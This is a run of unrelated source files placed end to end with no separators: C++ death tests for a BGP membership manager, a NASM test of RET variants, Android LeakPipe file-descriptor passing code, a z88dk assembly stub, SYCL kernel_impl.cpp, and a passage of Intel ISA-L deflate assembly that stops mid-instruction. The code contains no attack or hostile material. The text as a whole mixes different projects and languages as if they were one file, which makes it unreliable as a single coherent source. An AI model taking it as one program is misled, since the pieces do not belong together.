blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Register to blue again. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(Register(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); } // // Duplicate register for ribin causes assertion. // Duplicate register happens after original is fully processed. // TEST_F(BgpMembershipTest, DuplicateRegisterRibIn1DeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Register for ribin to blue. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(RegisterRibIn(peers_[0], blue_tbl_), ".*"); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); } // // Duplicate register for ribin causes assertion. // Duplicate register happens before original is fully processed. // TEST_F(BgpMembershipTest, DuplicateRegisterRibIn2DeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Disable membership manager. SetQueueDisable(true); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Register for ribin to blue. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(RegisterRibIn(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); } // // Duplicate register for ribin causes assertion. // Duplicate register happens after original is fully processed. // First register is also for ribin. // TEST_F(BgpMembershipTest, DuplicateRegisterRibIn3DeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register for ribin to blue. RegisterRibIn(peers_[0], blue_tbl_); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); // Register for ribin to blue again. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(RegisterRibIn(peers_[0], blue_tbl_), ".*"); // Unregister from blue. UnregisterRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); } // // Duplicate register for ribin causes assertion. // Duplicate register happens before original is fully processed. // First register is also for ribin. // TEST_F(BgpMembershipTest, DuplicateRegisterRibIn4DeathTest) { ConcurrencyScope scope("bgp::StateMachine"); uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Disable membership manager. SetQueueDisable(true); // Register for ribin to blue. mgr_->RegisterRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); // Register for ribin to blue again. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(RegisterRibIn(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); // Unregister for ribin from blue. mgr_->UnregisterRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); } // // Unregister without register causes assertion. // TEST_F(BgpMembershipTest, UnregisterWithoutRegisterDeathTest) { // Unregister from blue. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(Unregister(peers_[0], blue_tbl_), ".*"); } // // Unregister with pending register causes assertion. // TEST_F(BgpMembershipTest, UnregisterWithPendingRegisterDeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Disable membership manager. SetQueueDisable(true); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Unregister from blue. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(Unregister(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); } // // Unregister with pending unregister causes assertion. // TEST_F(BgpMembershipTest, UnregisterWithPendingUnregisterDeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Disable membership manager. SetQueueDisable(true); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); // Unregister from blue again. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(Unregister(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); } // // Unregister with pending walk causes assertion. // TEST_F(BgpMembershipTest, UnregisterWithPendingWalkDeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Disable membership manager. SetQueueDisable(true); // Walk blue. WalkRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); // Unregister from blue. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(Unregister(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); } // // Walk without register causes assertion. // TEST_F(BgpMembershipTest, WalkWithoutRegisterDeathTest) { // Walk blue. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(WalkRibIn(peers_[0], blue_tbl_), ".*"); } // // Walk with pending register causes assertion. // TEST_F(BgpMembershipTest, WalkWithPendingRegisterDeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Disable membership manager. SetQueueDisable(true); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Walk blue. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(WalkRibIn(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); } // // Walk with pending unregister causes assertion. // TEST_F(BgpMembershipTest, WalkWithPendingUnregisterDeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Disable membership manager. SetQueueDisable(true); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); // Walk blue. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(WalkRibIn(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); } // // Walk with pending walk causes assertion. // TEST_F(BgpMembershipTest, WalkWithPendingWalkDeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Disable membership manager. SetQueueDisable(true); // Walk blue. WalkRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); // Walk blue again. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(WalkRibIn(peers_[0], blue_tbl_), ".*"); // Enable membership manager. SetQueueDisable(false); task_util::WaitForIdle(); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); } static void SetUp() { bgp_log_test::init(); BgpObjectFactory::Register<BgpPeer>( boost::factory<BgpTestPeer *>()); BgpObjectFactory::Register<BgpConfigManager>( boost::factory<BgpIfmapConfigManager *>()); ControlNode::SetDefaultSchedulingPolicy(); } static void TearDown() { TaskScheduler *scheduler = TaskScheduler::GetInstance(); scheduler->Terminate(); } int main(int argc, char **argv) { ::testing::InitGoogleTest(&argc, argv); ::testing::FLAGS_gtest_death_test_style = "threadsafe"; SetUp(); int result = RUN_ALL_TESTS(); TearDown(); return result; }
;; All the flavors of RET %ifndef ERROR %define ERROR 0 %endif bits 16 ret retn retf retw retnw retfw retd retnd retfd %if ERROR retq retnq retfq %endif bits 32 ret retn retf retw retnw retfw retd retnd retfd %if ERROR retq retnq retfq %endif bits 64 ret retn retf ; Probably should have been RETFQ, but: legacy... retw retnw retfw %if ERROR retd retnd %endif retfd retq retnq retfq
/* * Copyright (C) 2016 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <errno.h> #include <string.h> #include "LeakPipe.h" #include "log.h" bool LeakPipe::SendFd(int sock, int fd) { struct msghdr hdr{}; struct iovec iov{}; unsigned int data = 0xfdfdfdfd; alignas(struct cmsghdr) char cmsgbuf[CMSG_SPACE(sizeof(int))]; hdr.msg_iov = &iov; hdr.msg_iovlen = 1; iov.iov_base = &data; iov.iov_len = sizeof(data); hdr.msg_control = cmsgbuf; hdr.msg_controllen = CMSG_LEN(sizeof(int)); struct cmsghdr* cmsg = CMSG_FIRSTHDR(&hdr); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; *(int*)CMSG_DATA(cmsg) = fd; int ret = sendmsg(sock, &hdr, 0); if (ret < 0) { ALOGE("failed to send fd: %s", strerror(errno)); return false; } if (ret == 0) { ALOGE("eof when sending fd"); return false; } return true; } int LeakPipe::ReceiveFd(int sock) { struct msghdr hdr{}; struct iovec iov{}; unsigned int data; alignas(struct cmsghdr) char cmsgbuf[CMSG_SPACE(sizeof(int))]; hdr.msg_iov = &iov; hdr.msg_iovlen = 1; iov.iov_base = &data; iov.iov_len = sizeof(data); hdr.msg_control = cmsgbuf; hdr.msg_controllen = CMSG_LEN(sizeof(int)); int ret = recvmsg(sock, &hdr, 0); if (ret < 0) { ALOGE("failed to receive fd: %s", strerror(errno)); return -1; } if (ret == 0) { ALOGE("eof when receiving fd"); return -1; } struct cmsghdr* cmsg = CMSG_FIRSTHDR(&hdr); if (cmsg == NULL || cmsg->cmsg_level != SOL_SOCKET || cmsg->cmsg_type != SCM_RIGHTS) { ALOGE("missing fd while receiving fd"); return -1; } return *(int*)CMSG_DATA(cmsg); }
; ; fdtell: ..see fdgetpos ! ; ; Stefano - 5/7/2006 ; ; ; $Id: fdtell.asm,v 1.1 2006/07/18 21:02:54 stefano Exp $ XLIB fdtell .fdtell ld hl,-1 ld d,h ld e,l ret
//==------- kernel_impl.cpp --- SYCL kernel implementation -----------------==// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include <detail/context_impl.hpp> #include <detail/kernel_bundle_impl.hpp> #include <detail/kernel_impl.hpp> #include <detail/program_impl.hpp> #include <memory> __SYCL_INLINE_NAMESPACE(cl) { namespace sycl { namespace detail { kernel_impl::kernel_impl(RT::PiKernel Kernel, ContextImplPtr Context) : kernel_impl(Kernel, Context, std::make_shared<program_impl>(Context, Kernel), /*IsCreatedFromSource*/ true) { // This constructor is only called in the interoperability kernel constructor. // Let the runtime caller handle native kernel retaining in other cases if // it's needed. getPlugin().call<PiApiKind::piKernelRetain>(MKernel); // Enable USM indirect access for interoperability kernels. // Some PI Plugins (like OpenCL) require this call to enable USM // For others, PI will turn this into a NOP. getPlugin().call<PiApiKind::piKernelSetExecInfo>( MKernel, PI_USM_INDIRECT_ACCESS, sizeof(pi_bool), &PI_TRUE); } kernel_impl::kernel_impl(RT::PiKernel Kernel, ContextImplPtr ContextImpl, ProgramImplPtr ProgramImpl, bool IsCreatedFromSource) : MKernel(Kernel), MContext(ContextImpl), MProgramImpl(std::move(ProgramImpl)), MCreatedFromSource(IsCreatedFromSource) { RT::PiContext Context = nullptr; // Using the plugin from the passed ContextImpl getPlugin().call<PiApiKind::piKernelGetInfo>( MKernel, PI_KERNEL_INFO_CONTEXT, sizeof(Context), &Context, nullptr); if (ContextImpl->getHandleRef() != Context) throw cl::sycl::invalid_parameter_error( "Input context must be the same as the context of cl_kernel", PI_INVALID_CONTEXT); } kernel_impl::kernel_impl(RT::PiKernel Kernel, ContextImplPtr ContextImpl, DeviceImageImplPtr DeviceImageImpl, KernelBundleImplPtr KernelBundleImpl) : MKernel(Kernel), MContext(std::move(ContextImpl)), MProgramImpl(nullptr), MCreatedFromSource(false), MDeviceImageImpl(std::move(DeviceImageImpl)), MKernelBundleImpl(std::move(KernelBundleImpl)) { // kernel_impl shared ownership of kernel handle if (!is_host()) { getPlugin().call<PiApiKind::piKernelRetain>(MKernel); } } kernel_impl::kernel_impl(ContextImplPtr Context, ProgramImplPtr ProgramImpl) : MContext(Context), MProgramImpl(std::move(ProgramImpl)) {} kernel_impl::~kernel_impl() { // TODO catch an exception and put it to list of asynchronous exceptions if (!is_host()) { getPlugin().call<PiApiKind::piKernelRelease>(MKernel); } } bool kernel_impl::isCreatedFromSource() const { // TODO it is not clear how to understand whether the SYCL kernel is created // from source code or not when the SYCL kernel is created using // the interoperability constructor. // Here a strange case which does not work now: // context Context; // program Program(Context); // Program.build_with_kernel_type<class A>(); // kernel FirstKernel= Program.get_kernel<class A>(); // cl_kernel ClKernel = FirstKernel.get(); // kernel SecondKernel = kernel(ClKernel, Context); // clReleaseKernel(ClKernel); // FirstKernel.isCreatedFromSource() != FirstKernel.isCreatedFromSource(); return MCreatedFromSource; } } // namespace detail } // namespace sycl } // __SYCL_INLINE_NAMESPACE(cl)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2016 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "options.asm" %include "lz0a_const.asm" %include "data_struct2.asm" %include "bitbuf2.asm" %include "huffman.asm" %include "igzip_compare_types.asm" %include "reg_sizes.asm" %include "stdmac.asm" %ifdef DEBUG %macro MARK 1 global %1 %1: %endm %else %macro MARK 1 %endm %endif %define LARGE_MATCH_HASH_REP 1 ; Hash 4 * LARGE_MATCH_HASH_REP elements %define LARGE_MATCH_MIN 264 ; Minimum match size to enter large match emit loop %define MIN_INBUF_PADDING 16 %define MAX_EMIT_SIZE 258 * 16 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %define file_start rdi %define file_length r15 %define level_buf r14 %define f_i r10 %define m_out_buf r11 %define curr_data rax %define tmp2 rcx %define dist rbx %define dist_code2 rbx %define lit_code2 rbx %define hmask2 rbx %define dist2 r12 %define dist_code r12 %define hmask3 r12 %define tmp1 rsi %define lit_code rsi %define curr_data2 r8 %define len2 r8 %define tmp4 r8 %define hmask1 r8 %define len_code2 r8 %define len rdx %define len_code rdx %define hash3 rdx %define stream r13 %define tmp3 r13 %define hash rbp %define hash2 r9 ;; GPR r8 & r15 can be used %define xtmp0 xmm0 ; tmp %define xtmp1 xmm1 ; tmp %define xdata xmm4 %define ytmp0 ymm0 ; tmp %define ytmp1 ymm1 ; tmp %define hash_table level_buf + _hash8k_hash_table %define lit_len_hist level_buf + _hist_lit_len %define dist_hist level_buf + _hist_dist ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; m_out_end equ 0 ; local variable (8 bytes) m_out_start equ 8 dist_mask_offset equ 16 hash_mask_offset equ 24 f_end_i_mem_offset equ 32 stream_offset equ 40 inbuf_slop_offset equ 48 gpr_save_mem_offset equ 64 ; gpr save area (8*8 bytes) xmm_save_mem_offset equ gpr_save_mem_offset + 8*8 ; xmm save area (4*16 bytes) (16 byte aligned) stack_size equ 9*8 + 8*8 + 4*16 ;;; 8 because stack address is odd multiple of 8 after a function call and ;;; we want it aligned to 16 bytes ;; Defines to generate functions for different architecture %xdefine ARCH 01 %xdefine ARCH1 02 %xdefine ARCH2 04 %ifndef COMPARE_TYPE %xdefine COMPARE_TYPE_NOT_DEF %xdefine COMPARE_TYPE 1 %xdefine COMPARE_TYPE1 2 %xdefine COMPARE_TYPE2 3 %endif ;; Defines to generate functions for different levels %xdefine METHOD hash_hist %rep 3 %if ARCH == 04 %define USE_HSWNI %endif ; void isal_deflate_icf_body <hashsize> <arch> ( isal_zstream *stream ) ; we make 6 different versions of this function ; arg 1: rcx: addr of stream global isal_deflate_icf_body_ %+ METHOD %+ _ %+ ARCH isal_deflate_icf_body_ %+ METHOD %+ _ %+ ARCH %+ : %ifidn __OUTPUT_FORMAT__, elf64 mov rcx, rdi %endif ;; do nothing if (avail_in == 0) cmp dword [rcx + _avail_in], 0 jne .skip1 ;; Set stream's next state mov rdx, ZSTATE_CREATE_HDR mov eax, [rcx + _internal_state_state] cmp word [rcx + _end_of_stream], 0 cmovne rax, rdx cmp word [rcx + _flush], _NO_FLUSH cmovne rax, rdx mov dword [rcx + _internal_state_state], eax ret .skip1: %ifdef ALIGN_STACK push rbp mov rbp, rsp sub rsp, stack_size and rsp, ~15 %else sub rsp, stack_size %endif mov [rsp + gpr_save_mem_offset + 0*8], rbx mov [rsp + gpr_save_mem_offset + 1*8], rsi mov [rsp + gpr_save_mem_offset + 2*8], rdi mov [rsp + gpr_save_mem_offset + 3*8], rbp mov [rsp + gpr_save_mem_offset + 4*8], r12 mov [rsp + gpr_save_mem_offset + 5*8], r13 mov [rsp + gpr_save_mem_offset + 6*8], r14 mov [rsp + gpr_save_mem_offset + 7*8], r15 mov stream, rcx mov [rsp + stream_offset], stream mov byte [stream + _internal_state_has_eob], 0 mov tmp1 %+ d, dword[stream + _internal_state_dist_mask] mov [rsp + dist_mask_offset], tmp1 mov tmp1 %+ d, dword[stream + _internal_state_hash_mask] mov [rsp + hash_mask_offset], tmp1 ; state->bitbuf.set_buf(stream->next_out, stream->avail_out); mov level_buf, [stream + _level_buf] mov m_out_buf, [level_buf + _icf_buf_next] mov [rsp + m_out_start], m_out_buf mov tmp1, [level_buf + _icf_buf_avail_out] add tmp1, m_out_buf sub tmp1, SLOP mov [rsp + m_out_end], tmp1 mov file_start, [stream + _next_in] mov f_i %+ d, dword [stream + _total_in] sub file_start, f_i mov file_length %+ d, [stream + _avail_in] add file_length, f_i mov qword [rsp + inbuf_slop_offset], MIN_INBUF_PADDING cmp byte [stream + _end_of_stream], 0 jnz .default_inbuf_padding cmp byte [stream + _flush], 0 jnz .default_inbuf_padding mov qword [rsp + inbuf_slop_offset], LA .default_inbuf_padding: ; file_length -= INBUF_PADDING; sub file_length, [rsp + inbuf_slop_offset] ; if (file_length <= 0) continue; mov hmask1 %+ d, [rsp + hash_mask_offset] cmp file_length, f_i jle .input_end ; for (f_i = f_start_i; f_i < file_length; f_i++) { MOVDQU xdata, [file_start + f_i] mov curr_data, [file_start + f_i] mov tmp1, curr_data compute_hash hash, curr_data shr tmp1, 8 compute_hash hash2, tmp1 and hash, hmask1 and hash2, hmask1 cmp byte [stream + _internal_state_has_hist], IGZIP_NO_HIST je .write_first_byte jmp .loop2 align 16 .loop2: mov tmp3 %+ d, [rsp + dist_mask_offset] mov hmask1 %+ d, [rsp + hash_mask_offset] ; if (state->bitbuf.is_full()) { cmp m_out_buf, [rsp + m_out_end] ja .output_end xor dist, dist xor dist2, dist2 lea tmp1, [file_start + f_i] mov dist %+ w, f_i %+ w dec dist sub dist %+ w, word [hash_table + 2 * hash] mov [hash_table + 2 * hash], f_i %+ w inc f_i mov tmp2, curr_data shr curr_data, 16 compute_hash hash, curr_data and hash %+ d, hmask1 %+ d mov dist2 %+ w, f_i %+ w dec dist2 sub dist2 %+ w, word [hash_table + 2 * hash2] mov [hash_table + 2 * hash2], f_i %+ w ; if ((dist-1) < (D-1)) { and dist %+ d, tmp3 %+ d neg dist shr tmp2, 24 compute_hash hash2, tmp2 and hash2 %+ d, hmask1 %+ d and dist2 %+ d, tmp3 %+ d neg dist2 ;; Check for long len/dist match (>7) with first literal MOVQ len, xdata mov curr_data, len PSRLDQ xdata, 1 xor len, [tmp1 + dist - 1] jz .compare_loop ;; Check for len/dist match (>7) with second literal MOVQ len2, xdata xor len2, [tmp1 + dist2] jz .compare_loop2 movzx lit_code, curr_data %+ b shr curr_data, 8 ;; Check for len/dist match for first literal test len %+ d, 0xFFFFFFFF jz .len_dist_huffman_pre PSRLDQ xdata, 1 inc dword [lit_len_hist + HIST_ELEM_SIZE*lit_code] movzx lit_code2, curr_data %+ b ;; Check for len/dist match for second literal test len2 %+ d, 0xFFFFFFFF jnz .write_lit_bits .len_dist_lit_huffman_pre: bsf len2, len2 shr len2, 3 .len_dist_lit_huffman: or lit_code, LIT mov dword [m_out_buf], lit_code %+ d neg dist2 get_dist_icf_code dist2, dist_code2, tmp1 mov hmask3 %+ d, dword [rsp + hash_mask_offset] ;; Setup for updating hash lea tmp3, [f_i + 1] ; tmp3 <= k mov tmp2, f_i add file_start, f_i add f_i, len2 cmp f_i, file_length jg .len_dist_lit_huffman_finish MOVDQU xdata, [file_start + len2] mov tmp1, [file_start + len2] sub file_start, tmp2 shr curr_data, 24 compute_hash hash3, curr_data and hash3 %+ d, hmask3 %+ d mov curr_data, tmp1 shr tmp1, 8 mov [hash_table + 2 * hash], tmp3 %+ w compute_hash hash, curr_data add tmp3,1 mov [hash_table + 2 * hash2], tmp3 %+ w compute_hash hash2, tmp1 add tmp3, 1 mov [hash_table + 2 * hash3], tmp3 %+ w add dist_code2, 254 add dist_code2, len2 inc dword [lit_len_hist + HIST_ELEM_SIZE*(len2 + 254)] mov dword [m_out_buf + 4], dist_code2 %+ d add m_out_buf, 8 shr dist_code2, DIST_OFFSET and dist_code2, 0x1F inc dword [dist_hist + HIST_ELEM_SIZE*dist_code2] ; hash = compute_hash(state->file_start + f_i) & hash_mask; and hash %+ d, hmask3 %+ d and hash2 %+ d, hmask3 %+ d ; continue jmp .loop2 .len_dist_lit_huffman_finish: sub file_start, tmp2 mov [hash_table + 2 * hash], tmp3 %+ w add tmp3,1 mov [hash_table + 2 * hash2], tmp3 %+ w add dist_code2, 254 add dist_code2, len2 inc dword [lit_len_hist + HIST_ELEM_SIZE*(len2 + 254)] mov dword [m_out_buf + 4], dist_code2 %+ d add m_out_buf, 8 shr dist_code2, DIST_OFFSET and dist_code2, 0x1F inc dword [dist_hist + HIST_ELEM_SIZE*dist_code2] jmp .input_end .len_dist_huffman_pre: bsf len, len shr len, 3 .len_dist_huffman: dec f_i ;; Setup for updateing hash lea tmp3, [f_i + 2] ; tmp3 <= k neg dist ; get_dist_code(dist, &code2, &code_len2); get_dist_icf_code dist, dist_code, tmp1 .len_dist_huffman_skip: mov hmask2 %+ d, [rsp + hash_mask_offset] mov tmp1, f_i add file_start, f_i add f_i, len cmp f_i, file_length jg .len_dist_huffman_finish MOVDQU xdata, [file_start + len] mov curr_data2, [file_start + len] mov curr_data, curr_data2 sub file_start, tmp1 ; get_len_code(len, &code, &code_len); lea len_code, [len + 254] or dist_code, len_code mov [hash_table + 2 * hash], tmp3 %+ w add tmp3,1 mov [hash_table + 2 * hash2], tmp3 %+ w compute_hash hash, curr_data shr curr_data2, 8 compute_hash hash2, curr_data2 inc dword [lit_len_hist + HIST_ELEM_SIZE*len_code] mov dword [m_out_buf], dist_code %+ d add m_out_buf, 4 shr dist_code, DIST_OFFSET and dist_code, 0x1F inc dword [dist_hist + HIST_ELEM_SIZE*dist_code] ; hash = compute_hash(state->file_start + f_i) & hash_mask; and hash %+ d, hmask2 %+ d and hash2 %+ d, hmask2 %+ d ; continue jmp .loop2 .len_dist_huffman_finish: sub file_start, tmp1 ; get_len_code(len, &code, &code_len); lea len_code, [len + 254] or dist_code, len_code mov [hash_table + 2 * hash], tmp3 %+ w add tmp3,1 mov [hash_table + 2 * hash2], tmp3 %+ w inc dword [lit_len_hist + HIST_ELEM_SIZE*len_code] mov dword [m_out_buf], dist_code %+ d add m_out_buf, 4 shr dist_code, DIST_OFFSET and dist_code, 0x1F inc dword [dist_hist + HIST_ELEM_SIZE*dist_code] jmp .input_end .write_lit_bits: MOVQ curr_data, xdata add f_i, 1 cmp f_i, file_length jg .write_lit_bits_finish MOVDQU xdata, [file_start + f_i] inc dword [lit_len_hist + HIST_ELEM_SIZE*lit_code2] shl lit_code2, DIST_OFFSET lea lit_code, [lit_code + lit_code2 + (31 << DIST_OFFSET)] mov dword [m_out_buf], lit_code %+ d add m_out_buf, 4 jmp .loop2 .write_lit_bits_finish: inc dword [lit_len_hist + HIST_ELEM_SIZE*lit_code2] shl lit_code2, DIST_OFFSET lea lit_code, [lit_code + lit_code2 + (31 << DIST_OFFSET)] mov dword [m_out_buf], lit_code %+ d add m_out_buf, 4 .input_end: mov stream, [rsp + stream_offset] mov tmp1, ZSTATE_FLUSH_READ_BUFFER mov tmp2, ZSTATE_BODY cmp word [stream + _end_of_stream], 0 cmovne tmp2, tmp1 cmp word [stream + _flush], _NO_FLUSH cmovne tmp2, tmp1 mov dword [stream + 